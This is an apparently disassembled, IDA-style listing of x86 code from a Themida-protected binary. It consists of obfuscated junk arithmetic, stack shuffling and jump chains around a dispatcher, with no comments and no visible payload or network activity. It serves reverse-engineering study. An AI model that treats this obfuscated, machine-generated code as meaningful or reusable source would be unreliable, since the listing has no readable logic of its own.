; START	OF FUNCTION CHUNK FOR sub_56189F


loc_570652:				; CODE XREF: sub_56189F+3D1Dj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56189F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570B3C


loc_570657:				; CODE XREF: sub_570B3C+EA6j
		add	esi, 3ACB1D3Ch
		or	esi, 1C1D0FABh
		sub	esi, 60584062h
		sub	ebx, esi
		jmp	loc_56768A
; END OF FUNCTION CHUNK	FOR sub_570B3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_570670:				; CODE XREF: sub_56CD13+348Fj
		pop	ebx
		inc	edx
		xor	edx, 2EFE05E0h
		jmp	loc_56039D
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_57067D:				; CODE XREF: sub_5738F4-951j
		pop	ebx
		shl	eax, 7
		shr	eax, 6
		shl	eax, 6
		sub	eax, 0DAF49FE2h
		push	edi
		push	esi
		jmp	loc_5733DE
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_570693:				; CODE XREF: sub_5638E4+A09Ej
		and	esi, 4D026521h
		push	0
		sub	[esp+14h+var_14], esi
		pop	esi
		add	esi, 45024505h
		mov	edi, esi
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_56F69A
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5706B5:				; CODE XREF: sub_568E5C-47A0j
		and	eax, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		shr	eax, 6
		jmp	loc_5632A5
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_5706C5:				; CODE XREF: sub_574FC9-654Dj
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], edx
		push	edi
		push	41BF5FD2h
		pop	edi
		xor	edi, 7BAC111Bh
		push	edx
		mov	edx, 249F13C4h
		sub	edx, 0EA8BC4FFh
		sub	edi, edx
		pop	edx
		jmp	loc_575321
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_5706FE:				; CODE XREF: sub_574F16-AF0Cj
		or	cl, 0CDh
		shr	cl, 5
		shl	cl, 3
		sub	cl, 2Fh
		push	7A4Fh
		mov	[esp+0Ch+var_E+2], edx
		mov	dl, 7Ah
		jmp	loc_57451A
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_570719:				; CODE XREF: sub_56A7FB+527Dj
		pop	eax
		add	al, bl
		pop	ebx
		push	0A2Bh
		mov	[esp+0], ecx
		mov	ch, 6
		jmp	loc_563B64
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_57072C:				; CODE XREF: sub_567B29+21Cj
		pop	ebx
		jmp	loc_567426
; END OF FUNCTION CHUNK	FOR sub_567B29

; =============== S U B	R O U T	I N E =======================================



sub_570732	proc near		; DATA XREF: Themida_:0055FDA0o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005614C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00561D7F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561EFD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056226F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005624DE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005638BF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00563B9D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005647FD SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0056562C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056667B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005669F1 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00568362 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568853 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00568D42 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005690D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569B14 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00569E5C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569E7C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AACB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B46E SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056B8EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C7D6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056C9E4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D36F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056D5E6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056DDEB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056EB67 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056F1A9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F5AE SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056FC70 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056FDF5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570075 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005707F1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570A32 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572315 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005732CE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00573CCD SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00574292 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00574B0A SIZE 0000000B BYTES

		push	dword ptr [edi+1Ch]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	eax
		push	70E7h
		mov	[esp+0Ch+var_C], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	eax
		mov	eax, 4
		sub	esi, 4D8E185Bh
		add	esi, eax
		add	esi, 4D8E185Bh
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		jmp	loc_561EFD
sub_570732	endp

; ---------------------------------------------------------------------------


loc_57077F:				; CODE XREF: Themida_:0056360Dj
		mov	esp, [esp]
		jmp	loc_56F239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_570787:				; CODE XREF: sub_574DC1+Ej
		push	[esp+8+var_8]
		jmp	loc_56724C
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_57078F:				; CODE XREF: sub_571890+7j
		mov	[esp+4+var_4], eax
		push	7A3Eh
		jmp	loc_56FF3D
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_57079C:				; CODE XREF: sub_563A7F+8C11j
		xor	cl, al
		pop	eax
		jmp	loc_566919
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_5707A4:				; CODE XREF: sub_57146D-9A9Cj
		sub	bh, dl
		sub	bh, 0A9h
		pop	edx
		xor	bh, ah
		xor	ah, bh
		jmp	loc_56F2AC
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_5707B3:				; CODE XREF: sub_574656-7C77j
		add	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		jmp	loc_563BC0
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_5707C4:				; CODE XREF: sub_568E5C+8E07j
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		push	eax
		mov	eax, esp
		push	3211h
		mov	[esp+4+var_4], ecx
		push	ebp
		jmp	loc_56043C
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_5707DC:				; CODE XREF: sub_568D9E+B9D1j
		pop	esp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_568D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_5707E2:				; CODE XREF: sub_5620B7-3EEj
		pop	eax
		jmp	loc_56B0E7
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_5707E8:				; CODE XREF: sub_56EFD2-C0B0j
		mov	esi, eax
		pop	eax
		pop	ebx
		jmp	loc_562643
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5707F1:				; CODE XREF: sub_570732-1586j
		add	ebx, 4
		push	ebx
		push	[esp+1Ch+var_18]
		jmp	loc_5624DE
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_570801:				; CODE XREF: sub_56AB51-11BAj
		shl	edx, 3
		and	edx, 4F607E32h
		push	ebx
		mov	ebx, 70704FD0h
		xor	ebx, 0A42604C7h
		add	edx, ebx
		pop	ebx
		jmp	loc_567786
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_57081E:				; CODE XREF: sub_570E81-F3AEj
		not	edi
		add	edi, 76299EBAh
		mov	eax, edi
		pop	edi
		push	edx
		mov	edx, 68A60D4h
		jmp	loc_571DBB
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_570834:				; CODE XREF: sub_574AF3-DAAFj
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	ecx
		push	6A9Ch
		mov	[esp+4+var_4], esp
		jmp	loc_57425F
; END OF FUNCTION CHUNK	FOR sub_574AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_570848:				; CODE XREF: sub_569DB5+2FCEj
		mov	[esp+4+var_4], esi
		mov	esi, 77445EBEh
		jmp	loc_573428
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_570855:				; CODE XREF: sub_567D31+48E2j
		pop	edi
		pop	esi
		sub	esi, 66F42050h
		push	esi
		pop	eax
		pop	esi
		jmp	loc_56A44D
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_570865:				; CODE XREF: sub_565632+8777j
		sub	[edi+24h], ecx
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_565632
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_570869:				; CODE XREF: sub_56616D+4C0j
		push	3713h
		mov	[esp-8+arg_4], edx
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		sub	[esp-4+arg_0], 17913F0Fh
		pop	edx
		push	esi
		push	3129h
		jmp	loc_570B9F
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565849


loc_57088D:				; CODE XREF: sub_565849+2687j
		sub	edx, 5DDF69C4h
		jmp	loc_57452C
; END OF FUNCTION CHUNK	FOR sub_565849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_570898:				; CODE XREF: sub_57549C-5378j
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_57313B
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_5708A0:				; CODE XREF: sub_571088+1799j
		xor	bl, cl
		jmp	loc_57245A
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5708A7:				; CODE XREF: sub_569193-4C03j
		mov	edx, ebx
		pop	ebx
		mov	edi, 6C8316E4h
		sub	edi, edx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		add	edx, edi
		jmp	loc_56F1E1
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5708C1:				; CODE XREF: sub_5685B2-16EEj
		push	eax
		jmp	loc_561F30
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_5708C7:				; CODE XREF: sub_57523A-81A7j
		neg	eax
		sub	eax, 0D1C72480h
		add	ebp, eax
		pop	eax
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		sub	edi, 233D0451h
		push	ecx
		jmp	loc_56473C
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5708E9:				; CODE XREF: sub_57354D-810Fj
		not	ebx
		sub	ebx, 0AFF10C29h
		sub	esi, ebx
		pop	ebx
		and	eax, esi
		jmp	loc_562E3C
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------


loc_5708FB:				; CODE XREF: Themida_:005674F2j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	1777h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_56021D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_570925:				; CODE XREF: sub_5733CA-1282Fj
		div	cx
		push	small 1703h
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573876


loc_570938:				; CODE XREF: sub_573876-D5F0j
		add	esp, 4
		push	0B62h
		mov	[esp+8+var_8], edx
		mov	edx, 4
		sub	ecx, 1096426Eh
		add	ecx, edx
		jmp	sub_560066
; END OF FUNCTION CHUNK	FOR sub_573876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_570955:				; CODE XREF: sub_5620B7+40B1j
		sub	dl, 0FFh
		push	ecx
		mov	cl, 87h
		push	small 0
		sub	byte ptr [esp+12h+var_14+2], cl
		mov	cl, byte ptr [esp+12h+var_14+2]
		add	esp, 2
		shr	cl, 7
		push	ebx
		jmp	loc_571B0D
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_570971:				; CODE XREF: sub_565632+1D74j
		mov	ecx, 0C143874h
		not	ecx
		xor	ecx, 0F3EBC78Fh
		jmp	loc_568FD7
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_570983:				; CODE XREF: sub_56EFD2-A1F1j
		add	ebx, 38957516h
		add	ebx, 4477385h
		sub	ebx, 0BF5C9363h
		mov	esi, ebx
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		mov	ebp, 8277A366h
		sub	ebp, 779C0684h
		add	ebp, esi
		add	ebp, 779C0684h
		jmp	loc_5688AD
; END OF FUNCTION CHUNK	FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569E1B


loc_5709B8:				; CODE XREF: sub_569E1B+34FCj
		sub	dh, 93h
		not	dh
		inc	dh
		shl	dh, 4
		shr	dh, 7
		jmp	loc_562FF4
; END OF FUNCTION CHUNK	FOR sub_569E1B
; ---------------------------------------------------------------------------


loc_5709CA:				; CODE XREF: Themida_:0056B418j
		neg	esi
		xor	esi, 1CB86A79h
		and	edx, esi
		pop	esi
		and	edx, 95B5023h
		dec	edx
		shl	edx, 6
		jmp	loc_5674D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_5709E4:				; CODE XREF: sub_57354D-12602j
		push	5A8Eh
		mov	[esp+8+var_8], ebx
		mov	ebx, 4E616C33h
		jmp	loc_56B429
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_5709F6:				; CODE XREF: sub_565A8D+429Dj
		pop	[esp+4+var_4]
		pop	esp
		push	11D3h
		mov	[esp+0], esi
		jmp	loc_5686BE
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747AF


loc_570A07:				; CODE XREF: sub_5747AF-12089j
		pop	esi
		jmp	loc_56624C
; END OF FUNCTION CHUNK	FOR sub_5747AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_570A0D:				; CODE XREF: sub_563819+5F44j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_571D5A
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_570A1B:				; CODE XREF: sub_561027-30Fj
		mov	edi, 1CE46C0Ah
		add	edx, edi
		pop	edi
		pop	eax
		push	ebp
		mov	ebp, 174A2ABDh
		add	edx, ebp
		pop	ebp
		jmp	loc_56BB4A
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_570A32:				; CODE XREF: sub_570732-1BC7j
		push	[esp+14h+var_10]
		pop	edx
		jmp	loc_56F5AE
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_570A3C:				; CODE XREF: sub_56E126+2969j
		mov	edx, 3DA11ABCh
		mov	ecx, 72882CCBh
		xor	ecx, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		xor	ecx, edi
		jmp	loc_565EE5
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------


loc_570A55:				; CODE XREF: Themida_:00568EEFj
		add	ebx, eax
		jmp	loc_56CF63
; ---------------------------------------------------------------------------


loc_570A5C:				; CODE XREF: Themida_:00570BD2j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_571752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_570A68:				; CODE XREF: sub_56D4B8-ADF6j
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_571DE2
		push	7320h
		mov	[esp-8+arg_4], ebx
		jmp	loc_560B19
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_570A83:				; CODE XREF: sub_569FB8-996Fj
		pop	small word ptr [edi+eax*4]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_570A8C:				; CODE XREF: sub_56E126-19C2j
		mov	[esp+10h+var_10], edx
		jmp	loc_570A3C
; END OF FUNCTION CHUNK	FOR sub_56E126

; =============== S U B	R O U T	I N E =======================================



sub_570A94	proc near		; DATA XREF: Themida_:0055FE0Co
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp+0], cl
		pushf
		jmp	loc_55FF9F
sub_570A94	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5638E4


loc_570AA4:				; CODE XREF: sub_5638E4-33Bj
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5638E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_570AA9:				; CODE XREF: sub_574A21-C129j
		add	eax, ebp
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		push	ebp
		mov	ebp, 6E105898h
		add	eax, 54DF2316h
		sub	eax, ebp
		sub	eax, 54DF2316h
		pop	ebp
		push	esi
		mov	esi, 62737B33h
		jmp	loc_562FE9
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_570AD3:				; CODE XREF: sub_56638C+3B48j
		dec	eax
		inc	eax
		jmp	loc_560D7F
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	459Bh
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		push	ecx
		push	edx
		jmp	loc_56188F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_570AF0:				; CODE XREF: sub_56DA43+2568j
		xchg	ebx, ecx
		not	ecx
		push	ebp
		mov	ebp, 73CD4E99h
		push	ebp
		mov	ebp, 209F0A5Ah
		jmp	loc_56E3BF
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560D31


loc_570B05:				; CODE XREF: sub_560D31+25j
		pop	ebx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_568C2F
; END OF FUNCTION CHUNK	FOR sub_560D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_570B11:				; CODE XREF: sub_569FB8+F6Bj
		pop	esp
		push	edx
		jmp	loc_56F3BB
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------


loc_570B18:				; CODE XREF: Themida_:00574201j
		push	esp
		pop	eax
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_561684
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_570B2A:				; CODE XREF: sub_574A21+9BEj
		xor	edx, ecx
		pop	ecx
		sub	eax, edx
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	ecx
		push	eax
		jmp	loc_5675FB
; END OF FUNCTION CHUNK	FOR sub_574A21

; =============== S U B	R O U T	I N E =======================================



sub_570B3C	proc near		; CODE XREF: sub_563388+15j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056594E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566CC9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056768A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569099 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00569623 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056974A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D7C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DF06 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00570657 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005719D5 SIZE 00000012 BYTES

		push	ebx
		mov	ebx, 776C7FA3h
		or	edi, ebx
		pop	ebx
		inc	edi
		push	ebx
		mov	ebx, 444E79E4h
		not	ebx
		xor	ebx, 691E3B43h
		shl	ebx, 2
		shr	ebx, 2
		jmp	loc_569623
sub_570B3C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_570B5F:				; CODE XREF: sub_571088-A28Fj
		neg	cl
		sub	cl, 1Ah
		sub	al, cl
		jmp	loc_56843A
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_570B6B:				; CODE XREF: sub_56D69D-9A7Bj
		add	ebx, 518C2D55h
		not	ebx
		xor	ebx, 89B7594Dh
		jmp	loc_56ECCF
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_570B7E:				; CODE XREF: sub_572141-513Dj
		pop	ebx
		jmp	loc_569658
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_570B84:				; CODE XREF: sub_574304-E48j
		and	ecx, edi
		pop	edi
		shr	ecx, 0Bh
		push	edx
		push	edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, ebx
		push	esi
		push	ecx
		push	eax
		jmp	loc_566808
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_570B9F:				; CODE XREF: sub_56616D+A71Bj
		mov	[esp+0], ebx
		mov	ebx, 6A947EE6h
		push	21EA7CFCh
		pop	esi
		xor	esi, ebx
		pop	ebx
		xor	esi, 29784F1Ah
		push	eax
		jmp	loc_572152
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------


loc_570BBC:				; CODE XREF: Themida_:00561757j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edx, 2
		xor	edx, [esp]
		jmp	loc_570A5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_570BD7:				; CODE XREF: sub_5643EB-2C6Cj
		sub	edx, 666D1673h
		sub	ebx, edx
		jmp	loc_56A9DE
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------


loc_570BE4:				; CODE XREF: Themida_:00561963j
		pop	dword ptr [esp]
		jmp	loc_573158
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_570BEC:				; CODE XREF: sub_571F6F+7EBj
		dec	edi
		jmp	loc_570D2E
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_570BF2:				; CODE XREF: sub_56E126-63CFj
		not	ebp
		xchg	ebp, esi
		jmp	loc_561BEA
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_570BFB:				; CODE XREF: sub_56651E-25B3j
		xor	eax, 28E90DACh
		push	2DAh
		mov	[esp+4+var_4], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 7DEE62BAh
		or	ebp, 616056C9h
		add	ebp, 82118909h
		add	edi, 43005ECFh
		add	edi, 5BBF0CCCh
		jmp	loc_56FB59
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_570C2D:				; CODE XREF: sub_569193+2D1Cj
		mov	edi, esp
		add	edi, 4
		push	4E16h
		mov	[esp+8+var_8], ecx
		jmp	loc_56F712
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_570C42:				; CODE XREF: sub_5648C6+7020j
		pop	ecx
		push	ebp
		mov	ebp, 723D1856h
		xor	ebp, 545940D8h
		jmp	loc_566F0F
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_570C54:				; CODE XREF: sub_56AEF2-2323j
		shl	al, 3
		push	edx
		mov	dh, 5Eh
		add	dh, 72h
		sub	dh, 0C0h
		xor	al, dh
		pop	edx
		add	al, 91h
		jmp	loc_564F2B
; END OF FUNCTION CHUNK	FOR sub_56AEF2

; =============== S U B	R O U T	I N E =======================================



sub_570C6A	proc near		; DATA XREF: Themida_:0055FEDCo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00564307 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005657D6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056692C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056B076 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056C77A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C817 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F566 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573716 SIZE 0000001F BYTES

		mov	ax, [esp+0]
		push	ebp
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		jmp	loc_56F566
sub_570C6A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_570C89:				; CODE XREF: sub_56E96D+48AAj
		add	ebp, 4
